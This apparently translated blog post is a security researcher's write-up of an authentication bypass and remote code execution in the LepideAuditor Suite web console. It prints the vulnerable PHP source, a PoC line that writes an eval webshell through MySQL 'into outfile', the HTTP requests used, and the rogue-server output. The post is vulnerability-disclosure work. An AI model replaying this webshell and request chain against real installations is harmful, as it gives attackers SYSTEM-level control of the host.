对安全审计软件的一次安全审计
作者:admin | 时间:2017-7-13 01:02:57 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前段时间,我们注意到,一些安全研究者正对杀毒软件等安全产品的重要漏洞进行了相关研究,而这些安全产品可能对企业和桌面用户造成破坏性影响。看看Google Project Zero对Kaspersky、Comodo、Avast等多种杀毒软件高危漏洞披露,也够让我们震惊的了。
关键的问题是,现在人们普遍认为安全产品本身就是安全可靠的,而其实,安全产品本身引入的攻击面正逐步增加。甚至有一些安全专家认为,大多数杀毒软件企业技术已经落后于那些具备沙盒防护、漏洞缓解和成熟漏洞众测项目的互联网大公司。安全产品其实并不安全。就如同一年前我们对名为LepideAuditor Suite的企业合规性审计软件进行的一些安全审计那样,它们也会出现漏洞,也会给用户造成安全影响。
软件安装
该软件套装为IT安全管理和审计之用,解压后,共包含四个安装组件,我们从Lepide Auditor Web Console开始安装:
安装非常简单,结合WAMP可以访问到一个web接口,登录端要求客户端IP、用户名和密码。
审计开始
待程序和服务启动之后,利用Process Explorer查看Lepide相关进程:
观察发现,其web控制端以NT AUTHORITY\SYSTEM权限7778端口运行,具体文件位置于C:\LepideAuditorSuiteWebConsole\apache。查看该目录发现,Lepide是PHP架构。
认证绕过
从简单的开始,我们决定从认证机制开始研究:
很快,在burpsuite帮助下,我们发现认证进程在获取服务端响应时需要花费稍长时间(大约为6秒),另外,程序在认证过程中还需要额外的服务端参数作为输入,这有点不正常。后经发现,原来这是Apache应用在执行DNS查询请求测试。
在没有用户登录账户和不具备太多登录功能的前提下,我们直接对其PHP源码进行了审计。首先来看看index.php页面的登录功能:
看到这里,我们认为,这种base64混淆技术不如ionCube或Zend Guard的JIT混淆技术好。破解了base64加密机制后,我们发现了以下代码:
<?php
session_start();
if((isset($_SESSION["username"]))&&($_SESSION["username"]!=""))
{
//header("location: data.php" );
//exit();
}
?>
<?php include_once("config.php"); ?> <?php
$error='';
if(isset($_POST["submit"])) {
$servername = isset($_POST["servername"])?mysql_real_escape_string($_POST["servername"]):""; $username = isset($_POST["username"])?mysql_real_escape_string($_POST["username"]):""; $password = isset($_POST["password"])?mysql_real_escape_string($_POST["password"]):""; if ($servername=="") {
$error= "Please Enter Server Name";
}
elseif ($username=="") {
$error= "Please Enter Username";
}
//elseif (strpos($username,'@')==false) {
// $error= 'Please Enter Valid Username';
//}
elseif ($username=="") {
$error= "Please Enter Password";
}
if($error=="") {
$port=1056;
$sock=connect ($servername,$port); if($sock) {
$_SESSION["socket"]=$sock;
$data= 601; //authenticate login
if(sendtags($_SESSION["socket"],$data))
{
if(sendstringtoserver($_SESSION["socket"],$username)) {
if(sendstringtoserver($_SESSION["socket"],$password)) {
$recv= getstringfromserver($_SESSION["socket"]);
if ($recv =='_SUCCESS_') {
$_SESSION["username"]=$username;
$_SESSION["ip"]=$servername;
$_SESSION["password"]=$password;
$_SESSION["sessionno"]=rand(10,100);
session_write_close();
header("location: reports" );
exit();
}
仔细查看,其中包含config.php,其功能的第31行是用户连接服务端所需要输入的端口号和服务名称函数connect()。现在我们来看看其在config.php中的具体功能:
function connect ($ip,$port)
{
if (!extension_loaded('sockets')) {
die('The sockets extension is not loaded.');
}
if(!($sock = socket_create(AF_INET, SOCK_STREAM, 0))) {
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);
die("Couldn't create socket: [$errorcode] $errormsg \n");
}
if(!socket_connect($sock , $ip ,$port)) {
$sock= "";
$error="could not connect";
return $sock;
}
else{
return $sock;
}
return $sock;
}
代码对用户输入的服务端参数创建了一个原始套接字连接,再回到index.php文件第37和39行,可以看到用户输入用户名密码进行身份认证,第43行,如果输入有效则认证成功。站在攻击者角度来看,只要能控制服务端认证参数,就能绕过认证过程。
远程代码执行尝试
现在,我们来研究源码中究竟什么输入是认证服务端可信的。经过一番折腾后发现,genratereports.php文件有点意思,从名称上看,它似乎是用来生成某种报告的。
$gid= isset($_GET["grid_id"])?$_GET["grid_id"]:''; if(($id!=0)&&($daterange!="")&&($path!="")&&($gid=="")) {
$port=1056;
$sock =login($ip, $port, $username,$password); if($sock)
{
$data = 604;
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$id))
{
if(sendstringtoserver($sock,$path))
{
$columnamestr=getstringfromserver($sock); $columname=genratecolumnname($columnamestr);
session_start();
$_SESSION["columname"]=$columname;
session_write_close();
}
}
}
if($columname) {
$data = 603;
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$daterange))
{
if(sendstringtoserver($sock,$id))
{
if(sendstringtoserver($sock,$path))
{
$filename=getfilefromremote($sock); if($filename) {
$restore_file = "temp/".$filename.".sql"; if(createdb($restore_file,$username,$sessionnumber))
从代码层面上看来,包含GET参数grid_id的变量$gid在设置过程中存在问题,之后,结合用户名密码,login()被调用。
login()函数实际上与config.php中的认证会话本质上是一样的:
function login($ip, $port, $username,$password)
{
$sock=connect ($ip,$port);
if($sock) {
$data= 601; //authenticate login
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$username))
{
if(sendstringtoserver($sock,$password))
{
$recv= getstringfromserver($sock);
if ($recv =='_SUCCESS_')
{
return $sock; /* $_SESSION["username"]=$username;
$_SESSION["ip"]=$servername;
header("location: data.php" );
exit(); */
}
else{
disconnect($sock);
destroysession();
//return false;
}
}
}
}
}
}
不同之处在于,它不需设置任何会话变量,只是简单的返回了套接字句柄。回到genratereports.php来看,在登录返回和套接字句柄验证之后,一些tag和string被发到受控服务端,之后,一个column name再从服务端发出。该column name是经验证,最终将在34行调用getfilefromremote()。我们决定再对getfilefromremote()进行一些深入分析,它具体功能代码位于config.php中:
function getfilefromremote($sock)
{
$uniqid=uniqid(); $tag=readtag($sock);
if($tag[1]==5)
{
$msg="";
$buf=socket_read ($sock, 4);
$rec_Data= unpack("N",$buf);
if($rec_Data[1]>0)//size
{
if($rec_Data[1]0)
{
$data= socket_read($sock, $size); $size=$size-strlen($data);
$data_rec.=$data;
}
} catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), "\n";
}
$data = iconv('UTF-16LE','UTF-8',$data_rec);
$fp = fopen("temp/".$uniqid.".sql","wb"); fwrite($fp,$data); fclose($fp);
$ack=2;
if(socket_send ( $sock , pack('N*',$ack), strlen(pack('N*',$ack)) , 0))
{
if($rec_ack=readtag($sock))
{
if($rec_ack[1]==2)
{
//socket_close($sock);
return $uniqid; }
}
}
}
该函数从受控服务端读取数据并把它们复制到一个由第22-23行uniqid()方法生成的临时文件中。最终,代码将向程序返回创建的uniqid值。
返回genratereports.php,可以发现$restore_file变量被传递到createdb()函数中,且其与getfilefromremote()创建的文件映射路径相同。现在,我们再到config.php中研究一下createdb():
function createdb($dbfile,$Dusername,$sessionnumber) {
$dbcreate= false;
ini_set('max_execution_time', 300); //300 seconds = 5 minutes
$server_name= "localhost";
$username= "root"; $password= ""; $dbname= substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12);
$dbname= $dbname.$sessionnumber;
$link = mysql_connect($server_name, $username, $password); if ($link) {
$user=substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12);
//$user=$user.sessionno
$host="localhost";
$pass= "123456";
$userQ= "DROP USER ".$user."@localhost";
$createQ = "CREATE USER '{$user}'@'{$host}' IDENTIFIED BY '{$pass}'";
$grantQ = "GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER, UPDATE ON *.* TO '{$user}'@'{$host}' WITH GRANT OPTION";
mysql_query($userQ);
if(mysql_query($createQ)){
if(mysql_query($grantQ)){
$dropdbQ ='DROP DATABASE IF EXISTS '.$dbname;
mysql_query($dropdbQ, $link);
$sql = 'CREATE DATABASE IF NOT EXISTS '.$dbname;
mysql_query($sql, $link);
$cmd = "mysql -h {$host} -u {$user} -p{$pass} {$dbname} < $dbfile"; exec($cmd,$output,$return);
createdb函数试图创建一个root权限数据库账户,并把$restore_file变量作为第30和31行传递到exec()中的命令参数。
表面上来看,这是一个命令执行漏洞,但是,因为我们不能完全或部分直接控制其文件名(仅只是内容),并不能有效执行。但仔细想想,我们可以控制其向MySQL客户端的输入啊。基于这点,我们在实际漏洞利用阶段来做点手脚,向数据库中执行一句话木马写入,漏洞利用PoC点此查看。
# exploit!
if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"):
漏洞利用
很简单,我们要做的就是创建一个与目标系统进行交流互动的套接字服务,并提供该服务所需的输入条件。
我们先启动一个PoC利用脚本设置为恶意服务端,等待客户端连接:
root@kali:~# ./server-poc.py
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016
(+) waiting for the target...
然后我们设置客户端172.16.175.1向Lepide Auditor登录页面和genratereport.php文件分别发起登录请求:
root@kali:~# ./client-poc.py 172.16.175.137 172.16.175.1
(+) sending auth bypass
(+) sending code execution request
首先,以servername=172.16.175.1&username=test&password=hacked向Lepide Auditor登录端发起请求:
POST /index.php HTTP/1.1
Host: 172.16.175.137:7778
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
servername=172.16.175.1&username=test&password=hacked&submit=
之后,得到了一个包含认证PHPSESSID的响应,在此过程中要确保不会发生重定向或PHPSESSID值被破坏:
HTTP/1.1 302 Found
Date: Sun, 22 May 2016 19:00:20 GMT
Server: Apache/2.4.12 (Win32) PHP/5.4.10
X-Powered-By: PHP/5.4.10
Set-Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: reports
Content-Length: 8
Content-Type: text/html
第二个请求触发了exec()调用上述PHPSESSID:
GET /genratereports.php?path=lol&daterange=1@9&id=6 HTTP/1.1
Host: 172.16.175.137:7778
Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3
最终,所有功能代码完成后,成功实现了NT AUTHORITY\SYSTEM权限的远程代码执行:
root@kali:~# ./server-poc.py
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016
(+) waiting for the target...
(+) connected by ('172.16.175.137', 50541)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) connected by ('172.16.175.137', 50542)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) got a column request
(+) got http request id: 6
(+) got http request path: lol
(+) send string successful
(+) got a filename request
(+) got http request daterange: 1@9 - 23:59:59
(+) got http request id: 6
(+) got http request path: lol
(+) successfully sent tag
(+) successfully sent file!
(+) file sent successfully
(+) done: http://172.16.175.137:7778/offsec.php?e=phpinfo();
总结
当前,出现较多的是SQL或PHP代码注入的输入性验证漏洞,但是当受信客户端向服务端发起认证请求的过程中同样会存在一些破坏性漏洞,而且,某些安全软件其实也并不安全。
*参考来源:offensive-security,freebuf小编clouds编译